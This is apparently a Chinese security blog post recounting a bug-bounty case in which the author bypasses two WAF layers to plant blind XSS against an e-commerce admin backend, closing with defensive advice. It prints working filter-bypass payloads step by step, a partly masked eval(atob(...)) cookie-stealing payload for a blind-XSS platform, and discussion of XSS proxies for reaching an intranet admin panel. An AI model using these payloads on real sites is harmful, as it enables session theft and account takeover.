Part1 前言
已经N年没挖SRC了,前几年曾有一段时间对XSS漏洞挖掘特别热衷,像反射型XSS、存储型XSS、DOM型XSS等挖得很上瘾,记下了很多笔记。遗憾的是多数平台都不愿意接收XSS漏洞,哪怕是存储型XSS漏洞给的评分都很低,因为XSS不能造成直接危害,利用起来有困难。所以当时花费了2天的时间,绕过各种防护及过滤,盲打到了一个SRC电商官网的后台。正好公众号文章写到现在,也缺少一篇讲解XSS漏洞的文章,这次就分享这个XSS拿权限的实战案例吧。
注:鉴别于好多朋友之前写文章,引用真实报告的截图而忘记打码,出过好几次事故。所以ABC_123写文章的原则是,一概不贴真实截图,只贴虚拟机环境的图,还望大家谅解。
后期会专门出一期讲解DOM型XSS漏洞挖掘的文章,欢迎大家关注公众号。
Part2 技术研究过程
1 选择一个合适的Payload
对于挖掘XSS漏洞,我的经验是第一步就是要选择一个合适的Payload进行试验,然后逐步绕过各种防护。举个例子,你是首先选择<script>alert(1)</script>,还是选择<img src=1 onerror=alert(1)>去开展XSS绕过工作呢?有朋友是用一大堆的payload做成XSS字典去FUZZ测试,这种方法高效快速,但是缺点是只能测试反射型XSS,然后工具自带的payload都是网上公开的,早就被各种WAF设备给分析过了,被拦截的可能性很大。
2 选择<image>标签绕过
对于<script>这种的payload,如果不是变形的,基本上现在随便一个WAF设备都能准确识别了,存活的可能性比较低。对于<img src=1 onerror=alert(1)>这个payload还有一些希望,但是alert关键字太明显,直接提交也是不行的。
于是将测试payload精简一下,变成如下格式<img src=1>提交还是被拦截。
那么就再精简一下,直接提交一个<img>,发现还是被拦截,至此我们知道,<img>标签完全被干掉了。
<img>标签不行,那么换一个<image>标签提交一下,发现没有被拦截,那么我们就选择<image>标签来开展XSS绕过工作吧。
3 对于src=附近的拦截绕过
经过探测<image src=> 中间只要有空格、TAB键都会被拦截,所以换成这种形式<image/src=>,用/这个符号替代空格。
接下来看=号的左右两边,程序又做了判断,src=的右边只要是数字、字母啥的,就会被拦截。经过测试,发现src=右边是可以接特殊字符串的,所以语句变成如下格式<image/src=|>(注:这个是特殊字符竖杠,不是字母或者数字),这样就绕过了防护。如下图所示,网页中出现了一个图片报错,说明上述payload被正常解析了,绕过了防护。
4 对于事件属性附近的拦截绕过
接下来为了能够利用XSS漏洞拿到权限,就必须想办法让上述XSS攻击代码能够加载远程js文件,以备实现获取Cookie、添加管理员账号等功能。
所以只有<image/src=|>这个payload是不行的,还需要进一步绕过防护。
为了加载js链接地址执行js代码,一般可以借助事件属性加载,比如说添加鼠标点击事件、鼠标滑过事件等。这里我们选择一个onerror事件,于是将payload进一步变成<img/src=| onerror=alert(111)>。
onerror=alert(111)这部分绕起来很难,经过一系列测试,发现在=号左右两边加上TAB键,变成如下格式onerror = alert(111)可以绕过=附近的拦截,但是alert(111) 这个部分还是会被拦截,怎么办呢?我想到了借助javascript:伪协议,因为javascript:这部分可以接各种编码,之后测试的payload变成如下格式<images/src=| onerror = javascript:alert(111)>
接下来将javascript:alert(111) 编码成16进制格式:
javascript:alert(111)
结果发现被拦截,到这一步还被拦截,基本上就难办了。但是经过测试,发现它只是拦截了;这个特殊字符。至于为什么会拦截;呢,我想它的本意不是为了拦截XSS,是为了拦截多语句的SQL注入的分号。
但是幸运的是,上述16进制编码的payload语句,把;去掉,一样是可以触发漏洞的,分号可有可无。
于是上述16进制的payload就变成了如下格式:
javascript:alert(111)
组合起来最终的弹窗完整的payload是如下形式:
<image/src=| onerror = javascript:alert(111)>
直接用burpsuite抓包提交是不行的,因为&会与POST请求数据包中的&分割符重复,这个好解决,可以对payload进行URL编码一样吧。
URL编码后的payload大致如下所示:
<image/src=| onerror = javascript:alert(111)>
5 Change Body encoding绕过第2道防护
提交之后,发现它有两道防护,因为到这一步没有原先的403错误提示了,直接是超时等待了一段时间,说明我们刚才的不懈努力只是绕过了第1道防护,而第2道防护没有绕过去,到这里我已经快放弃了。。。最终经过测试,发现使用burpsuite的“change body encoding”把POST数据包格式改一下即可绕过第2道防护。
最终将如下格式数据包编码后提交,<image/src=| onerror = javascript:alert(document.cookie)>
最终本地绕过2道防护,可以弹出Cookie了(以下截图为本地虚拟机环境截图,原图敏感,就不放出来了)
6 XSS盲打平台
接下来就是找XSS盲打平台了,建议大家自己从网上找一个别人搭建好的XSS盲打平台测试吧,因为自己搭建XSS平台,还得买域名、还怕泄露真实身份信息,而且网上的PHP的XSS平台代码也有不少坑,有时候wamp能搭建成功,phpstudy就搭建不成功。
最终看了一下XSS平台给出的payload语句,结合javascript为协议,组合成可真正获取Cookie的测试payload如下:
<image/src=| onerror = javascript:eval(atob('cz1jxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxhbmRvbSgp'))>
编码成16进制格式如下:
上图为虚拟机测试图,到这一步呢,我才发现,原来这个src官网,防xss是这样防范的,假设官网的管理员后台地址是https://admin.xxx.src.com.cn。我本地打开这个后台地址,发现这个官网后台限制了只有内网ip才能登陆!到这一步,我才惊讶地发现,原来这样可以防止XSS盲打Cookie的攻击,它直接限制管理员后台的登陆,打到Cookie也没用!难道我们就没有办法了吗?经过一系列查找资料,还是有办法解决的,使用XSS隧道,或者XSS代理。
7 XSS 隧道代理
这个工具大概暂时只是概念性质的,我当时测试的效果是非常不好用。因为本地搭建环境测试,一旦我这边挂上XSS代理,受害者那边的浏览器就会卡死,一旦受害者关闭浏览器,代理也随之失效。到目前还没有找到一个靠谱的XSS Proxy代理工具,所以这是一种解决方案,但是没法用于实战,不知道现在网上有没有出新的靠谱的工具。
至此,一条曲折的XSS实战利用道路就完成了,收获不少。
Part3 总结
1. 防止XSS盲打,可以禁止管理员后台的外网登录,限制仅内网可以登录。这样一来即使攻击者通过XSS拿到有效Cookie,也没法用于后台的登录。记得设置HttpOnly属性。
2. 对于XSS 代理或者XSS隧道,如果大家有稳定靠谱的工具,能用于实战的,还希望推荐一下。
专注于网络安全技术分享,包括红队、蓝队、日常渗透测试、安全体系建设等
每周一篇,99%原创,敬请关注